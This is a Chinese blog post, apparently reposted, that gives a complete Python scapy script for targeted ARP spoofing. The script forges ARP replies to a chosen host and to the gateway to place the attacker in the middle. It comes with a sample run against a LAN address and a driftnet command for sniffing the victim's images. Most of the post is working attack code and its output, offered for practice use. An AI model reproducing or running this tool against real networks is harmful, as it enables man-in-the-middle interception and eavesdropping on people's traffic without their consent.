用python編寫的定向arp欺騙工具


  剛學習了scapy模塊的一些用法,非常強大,為了練手,利用此模塊編寫了一個arp欺騙工具,其核心是構造arp欺騙包。加了一個-a參數用於進行全網欺騙,先暫不實現。代碼如下:

 1 #--*--coding=utf-8--*--
 2 
 3 from scapy.all import *
 4 import optparse
 5 import threading
 6 
 7 #解決在linux系統上運行時報的unicode編碼相關錯誤
 8 import sys
 9 reload(sys)
10 sys.setdefaultencoding('utf-8')
11 
12 
13 def getMac(tgtIP):
14     '''
15     調用scapy的getmacbyip函數,獲取攻擊目標IP的MAC地址。
16     '''
17     try:
18         tgtMac = getmacbyip(tgtIP)
19         return tgtMac
20     except:
21         print '[-]請檢查目標IP是否存活' 
22 
23 def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
24     '''
25     生成ARP數據包,偽造網關欺騙目標計算機
26     srcMac:本機的MAC地址,充當中間人
27     tgtMac:目標計算機的MAC
28     gatewayIP:網關的IP,將發往網關的數據指向本機(中間人),形成ARP攻擊
29     tgtIP:目標計算機的IP
30     op=2,表示ARP響應
31     '''
32     pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
33     return pkt
34 
35 def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
36     '''
37     生成ARP數據包,偽造目標計算機欺騙網關
38     srcMac:本機的MAC地址,充當中間人
39     gatewayMac:網關的MAC
40     tgtIP:目標計算機的IP,將網關發往目標計算機的數據指向本機(中間人),形成ARP攻擊
41     gatewayIP:網關的IP
42     op=2,表示ARP響應
43     '''
44     pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
45     return pkt
46 
47 
48 def main():
49     usage = 'Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a'
50     parser = optparse.OptionParser(usage,version='v1.0')
51     parser.add_option('-t',dest='targetIP',type='string',help='指定目標計算機IP')
52     parser.add_option('-g',dest='gatewayIP',type='string',help='指定網關IP')
53     parser.add_option('-i',dest='interface',type='string',help='指定使用的網卡')
54     parser.add_option('-a',dest='allarp',action='store_true',help='是否進行全網arp欺騙')
55     
56     options,args = parser.parse_args()
57     tgtIP = options.targetIP
58     gatewayIP = options.gatewayIP
59     interface = options.interface
60   
61     if tgtIP == None or gatewayIP == None or interface == None:
62         print parser.print_help()
63         exit(0)
64     
65     srcMac = get_if_hwaddr(interface)
66     print '本機MAC地址是:',srcMac
67     tgtMac = getMac(tgtIP)
68     print '目標計算機MAC地址是:',tgtMac
69     gatewayMac = getMac(gatewayIP)
70     print '網關MAC地址是:',gatewayMac
71     raw_input('按任意鍵繼續:')
72 
73 
74     pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
75     pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)
76 
77    
78     i = 1
79     while True:
80         t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface})
81         t.start()
82         t.join()
83         print str(i) + ' [*]發送一個計算機ARP欺騙包'
84        
85         s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface,})
86         s.start()
87         s.join()
88         print str(i) + ' [*]發送一個網關ARP欺騙包'
89         i += 1       
90         
91             
92 
93 if __name__ == '__main__':
94     main()

驗證如下:

 1 # python arpspoof.py -t 192.168.1.28 -g 192.168.1.1 -i wlan0
 2 WARNING: No route found for IPv6 destination :: (no default route?)
 3 本機MAC地址是: xxx
 4 目標計算機MAC地址是:xxx
 5 網關MAC地址是: xxx
 6 按任意鍵繼續:
 7 .
 8 Sent 1 packets.
 9 1 [*]發送一個計算機ARP欺騙包
10 .
11 Sent 1 packets.
12 1 [*]發送一個網關ARP欺騙包
13 .
14 Sent 1 packets.
15 2 [*]發送一個計算機ARP欺騙包
16 .
17 Sent 1 packets.
18 2 [*]發送一個網關ARP欺騙包
19 .
20 Sent 1 packets.
21 3 [*]發送一個計算機ARP欺騙包
22 .
23 Sent 1 packets.
24 3 [*]發送一個網關ARP欺騙包
25 ......

#driftnet -i wlan0

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM